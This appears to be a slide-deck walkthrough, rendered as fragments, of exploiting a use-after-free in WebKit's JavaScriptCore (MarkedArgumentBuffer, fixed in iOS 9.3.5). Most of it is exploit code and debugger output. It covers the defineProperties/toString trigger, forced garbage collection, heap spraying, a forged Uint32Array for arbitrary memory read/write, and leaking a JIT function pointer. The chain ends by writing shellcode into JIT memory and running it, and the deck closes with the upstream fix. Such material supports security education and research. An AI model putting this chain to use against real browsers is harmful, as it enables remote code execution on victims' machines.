Source/JavaScriptCore/runtime/JSCJSValue.h
The top 16-bits denote the type of the encoded JSValue: Pointer { 0000:PPPP:PPPP:PPPP / 0001:****:****:**** Double { ... \ FFFE:****:****:**** Integer { FFFF:0000:IIII:IIII
Source/JavaScriptCore/runtime/JSCJSValue.h
False: 0x06 True: 0x07 Undefined: 0x0a Null: 0x02
const arr = [1,2,true,false,null,{}];Memory representation:
(gdb) x/6xg 0x00007f37a3550060 0x7f37a3550060: 0xffff000000000001 0xffff000000000002 0x7f37a3550070: 0x0000000000000007 0x0000000000000006 0x7f37a3550080: 0x0000000000000002 0x00007f37a31d7f00
class MarkedArgumentBuffer { // ... static const size_t inlineCapacity = 8; // ... EncodedJSValue m_inlineBuffer[inlineCapacity]; // ... public: // ... void append(JSValue v); // ... };
m_markListSet = std::make_unique<HashSet<MarkedArgumentBuffer*>>();
Source/JavaScriptCore/runtime/ArgList.h
class MarkedArgumentBuffer { // .. void append(JSValue v) { if (m_size >= m_capacity) return slowAppend(v); slotFor(m_size) = JSValue::encode(v); ++m_size; } // ... };
WebKit in Apple iOS before 9.3.5 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site.
Source/JavaScriptCore/runtime/ArgList.cpp
void MarkedArgumentBuffer::slowAppend(JSValue v) { int newCapacity = (Checked(m_capacity) * 2).unsafeGet(); size_t size = (Checked (newCapacity)*sizeof(EncodedJSValue)).unsafeGet(); EncodedJSValue* newBuffer = static_cast (fastMalloc(size)); for (int i = 0; i < m_capacity; ++i) newBuffer[i] = m_buffer[i]; if (EncodedJSValue* base = mallocBase()) fastFree(base); m_buffer = newBuffer; m_capacity = newCapacity; slotFor(m_size) = JSValue::encode(v); ++m_size;
if (m_markSet) return; // As long as our size stays within our Vector's inline // capacity, all our values are allocated on the stack, and // therefore don't need explicit marking. Once our size exceeds // our Vector's inline capacity, though, our values move to the // heap, where they do need explicit marking. for (int i = 0; i < m_size; ++i) { Heap* heap = Heap::heap(JSValue::decode(slotFor(i))); if (!heap) continue; m_markSet = &heap->markListSet(); m_markSet->add(this); break; }
Source/JavaScriptCore/heap/HeapInlines.h
inline Heap* Heap::heap(const JSValue v) { if (!v.isCell()) return 0; return heap(v.asCell()); }
Source/JavaScriptCore/runtime/JSCJSValueInlines.h
inline bool JSValue::isCell() const { return !(u.asInt64 & TagMask); }
If all copied values are immediate values (no heap context)
then marked set is never assigned while size expands twice.
Since the capacity was doubled we will also not add the buffer to
marked set for additional parameters until we again reach max capacity
Source/JavaScriptCore/runtime/ObjectConstructor.cpp
// GC tools const pressure = new Array(100); function forceGC() { for (var i = 0; i < pressure.length; i++) { pressure[i] = new Uint32Array(0x10000); } for (var i = 0; i < pressure.length; i++) { pressure[i] = 0; } }
function go_() { forceGC() // trigger } forceGC(); setTimeout(go_, 200);
function go_() { forceGC(); // trigger let arr = new Array(0x100); arr[0] = 1; arr[1] = 2; let not_number = {}; not_number.toString = function() { arr = null; props["stale"]["value"] = null; forceGC(); return 10; }; let props = { p0: { value: 0 }, p1: { value: 1 }, p2: { value: 2 }, p3: { value: 3 }, p4: { value: 4 }, p5: { value: 5 }, p6: { value: 6 }, p7: { value: 7 }, p8: { value: 8 }, length: { value: not_number }, stale: { value: arr }, after: { value: 777 } }; let target = []; Object.defineProperties(target, props); }
Define the vulnerable object props and call defineProperties
The 9th value (p8) expands capacity (8) and triggers slowAppend.
All 9 values are primitive types (no heap context)
marked set is never assigned while size expands twice.
Remaining values are still added to marked buffer, but
marked set is never assigned because ...
... capacity is 16 and slowAppend is no longer run.
Now we have to trigger GC.
Utilize special logic for length property in JSArray implementation.
Source/JavaScriptCore/runtime/JSArray.cpp
Source/JavaScriptCore/runtime/JSObject.cpp
Source/JavaScriptCore/runtime/JSObject.h
Source/JavaScriptCore/runtime/JSObject.cpp
This means we can inject JS code in the middle of defineProperties.
Custom toString method can force GC using our GC tool.
Before calling GC we need to remove remaining references to arr
so that GC does not mark it and deletes it from heap.
And that is the trigger! Our arr should become stale now.
But the target has a new property called stale pointing to arr.
Writing to target.stale will be actually writing over deallocated memory
let bufs = new Array(10000); function gc_and_heap_spray() { if (bufs[0]) return; for (var i = 0; i < 4; i++) { forceGC(); } for (i = 0; i < bufs.length; i++) { bufs[i] = new Uint32Array(0x100 * 2) for (k = 0; k < bufs[i].length;) { bufs[i][k++] = 0x41414141; bufs[i][k++] = 0xffff0000; } } }
let stale = target.stale; stale[0] += 0x101; for (i = 0; i < bufs.length; i++) { for (k = 0; k < bufs[0].length; k++) { if (bufs[i][k] == 0x41414242) { // GOT IT } } }
const obj = {a:1, b:2, c:3, d:4}; for (i = 0; i < bufs.length; i++) { for (k = 0; k < bufs[0].length; k++) { if (bufs[i][k] == 0x41414242) { // GOT IT stale[0] = obj; alert(bufs[i][k+1].toString(16) + bufs[i][k+0].toString(16)); } } }
const obj = {a:1, b:2, c:3, d:4};
(gdb) x/6xg 0x7f6d6f9d3f10 0x7f6d6f9d3f10: 0x0100160000000051 0x0000000000000000 0x7f6d6f9d3f20: 0xffff000000000001 0xffff000000000002 0x7f6d6f9d3f30: 0xffff000000000003 0xffff000000000004
const u32arr = new Uint32Array(0x10); u32arr[0] = 0x11223344; u32arr[1] = 0x55667788; u32arr[2] = 0x99aabbcc; u32arr[3] = 0xddeeff00;
(gdb) x/4xg 0x7fee27ba9080 0x7fee27ba9080: 0x0118260000000170 0x0000000000000000 0x7fee27ba9090: 0x00007fedf98b7160 0x0000000000000010 (gdb) x/4xg 0x00007fedf98b7160 0x7fedf98b7160: 0x5566778811223344 0xddeeff0099aabbcc 0x7fedf98b7170: 0x0000000000000000 0x0000000000000000
const smsh = new Uint32Array(0x10)
const obj = { 'a': u2d(0x170, 0), // JSCell (with structure ID) 'b': u2d(0, 0), // butterfly 'c': smsh, // pointer 'd': u2d(0x100, 0) // length };
(gdb) x/6xg 0x7f048759f4c0 0x7f048759f4c0: 0x01001600000000c8 0x0000000000000000 0x7f048759f4d0: 0x0001000000000170 0x0001000000000000 0x7f048759f4e0: 0x00007f04635b6660 0x0001000000000100
stale[0] = obj; bufs[i][k] += 0x10;
stale[0] = obj; bufs[i][k] += 0x10; stale[0][6] = 0xffffffff; if (smsh.length == 0xffffffff) { // Got a very large smash array const mem = new memory(stale[0], smsh); }
for (let j=0; j<0x100; j++) { let obj = new Uint32Array(0x10); obj['x' + j] = j; }
const obj = { 'a': u2d(0x170, 0), // JSCell (with structure ID) 'b': u2d(0, 0), // butterfly 'c': smsh, // pointer 'd': u2d(0x100, 0) // length }; stale[0] = obj; bufs[i][k] += 0x10; let tag = 0x160; while (!(stale[0] instanceof Uint32Array) && tag < 0x180) { obj['a'] = u2d(tag++, 0); }
// Uint32Array memory layout const ADDR_LOW = 4; const ADDR_HIGH = 5; const LEN = 6; // memory read/write primitive class memory { constructor(stale_arr, smash_arr) { this.stale = stale_arr; this.smash = smash_arr this.oldlo = this.stale[ADDR_LOW]; this.oldhi = this.stale[ADDR_HIGH]; }
read4(low, hi) { this.stale[ADDR_LOW] = low; this.stale[ADDR_HIGH] = hi; let ret = this.smash[0]; this.stale[ADDR_LOW] = this.oldlo; this.stale[ADDR_HIGH] = this.oldhi; return ret; } read8(low, hi) { return [this.read4(low, hi), this.read4(low+4, hi)]; } write4(low, hi, val) { this.stale[ADDR_LOW] = low; this.stale[ADDR_HIGH] = hi; this.smash[0] = val; this.stale[ADDR_LOW] = this.oldlo; this.stale[ADDR_HIGH] = this.oldhi; } }
#include <stdio.h> int main(int argc, char *argv[]) { unsigned char code[] = { 0x48, 0x83, 0xec, 0x04, // sub $0x4,%rsp 0x48, 0x31, 0xc0, // xor %rax,%rax 0x48, 0x31, 0xff, // xor %rdi,%rdi 0x48, 0x31, 0xd2, // xor %rdx,%rdx 0xc7, 0x04, 0x24, 0x48, 0x69, 0x0a, 0x00, // movl $0x000a6948,(%rsp) // [0x000a6948 == "Hi\n\0"] 0x66, 0xbf, 0x01, 0x00, // mov $0x1,%di 0x48, 0x8d, 0x34, 0x24, // lea (%rsp),%rsi 0x66, 0xba, 0x04, 0x00, // mov $0x4,%dx 0x66, 0xb8, 0x01, 0x00, // mov $0x1,%ax 0x0f, 0x05, // syscall 0x48, 0x83, 0xc4, 0x04, // add $0x4,%rsp 0xc3 // retq }; ( (void (*)()) &code[0])(); return 0; }
Segment | RW | X |
---|---|---|
Stack | Yes | Yes/No |
Heap | Yes | No |
Data | Yes | No |
BSS | Yes | No |
Code | No | Yes |
// JIT compiled function let trycatch = ""; for (let z = 0; z < 0x2000; z++) trycatch += "try{} catch(e){}; "; let fc = new Function(trycatch); for (let z = 0; z < 0x1000; z++) fc(); // JIT compile it
const fcp = fc;
(gdb) x/8xg 0x7f5d8898abc0 0x7f5d8898abc0: 0x000a180000000144 0x0000000000000000 0x7f5d8898abd0: 0x00007f5d889e2900 0x00007f5d88987260 0x7f5d8898abe0: 0x0000000000000000 0x0000000000000000 0x7f5d8898abf0: 0x0100160000000252 0x0000000000000000 (gdb) x/8xg 0x00007f5d88987260 0x7f5d88987260: 0x00200e0000000010 0xffffffff00000001 0x7f5d88987270: 0x00007f5de6567000 0x0000000000000000 0x7f5d88987280: 0x0000000000000000 0x0000000000000000 0x7f5d88987290: 0xffffffff00000000 0x0000000200000001 (gdb) x/8xg 0x00007f5de6567000 0x7f5de6567000: 0x00007f5df96f9930 0x00015f0400000002 0x7f5de6567010: 0x00007f5dcbe48680 0x00007f5d7240b940 0x7f5de6567020: 0x00007f5dcbe48741 0x0000000000000000 0x7f5de6567030: 0x00007f5de6538190 0x0000000500000005 (gdb) x/2i 0x00007f5dcbe48680 0x7f5dcbe48680: push %rbp 0x7f5dcbe48681: mov %rsp,%rbp
if (smsh.length == 0xffffffff) { const mem = new memory(stale[0], smsh); // leak function ptr stale[1] = fc; const [lo0, hi0] = [bufs[i][k+2], bufs[i][k+3]]; const [lo1, hi1] = mem.read8(lo0+0x18, hi0); const [lo2, hi2] = mem.read8(lo1+0x10, hi1); const [lo3, hi3] = mem.read8(lo2+0x10, hi2); run_payload(mem, lo3, hi3); }
57 push %rdi 56 push %rsi 52 push %rdx 50 push %rax 6a 00 pushq $0x0 48 b8 48 69 20 74 68 movabs 'Hi there',%rax 65 72 65 50 push %rax bf 01 00 00 00 mov $0x1,%edi ; stdout 48 89 e6 mov %rsp,%rsi ; &'Hi there' ba 08 00 00 00 mov $0x8,%edx ; length b8 01 00 00 00 mov $0x1,%eax ; syscall write 0f 05 syscall 58 pop %rax 58 pop %rax 58 pop %rax 5a pop %rdx 5e pop %rsi 5f pop %rdi c3 retq
function run_payload(mem, jitfp, hi) { let code = [ 0x50525657, 0xb848006a, 0x74206948, 0x65726568, 0x0001bf50, 0x89480000, 0x0009bae6, 0x01b80000, 0x0f000000, 0x58585805, 0xc35f5e5a ]; for (let c of code) { mem.write4(jitfp, hi, c); jitfp+=4; } fc(); location.href = 'https://google.pl'; }
[maciek@pc ~]$ epiphany hack.html Hi there
void MarkedArgumentBuffer::addMarkSet(JSValue v) { if (m_markSet) return; Heap* heap = Heap::heap(v); if (!heap) return; m_markSet = &heap->markListSet(); m_markSet->add(this); } void MarkedArgumentBuffer::slowAppend(JSValue v) { if (m_size >= m_capacity) expandCapacity(); slotFor(m_size) = JSValue::encode(v); ++m_size; addMarkSet(v); }
Use a spacebar or arrow keys to navigate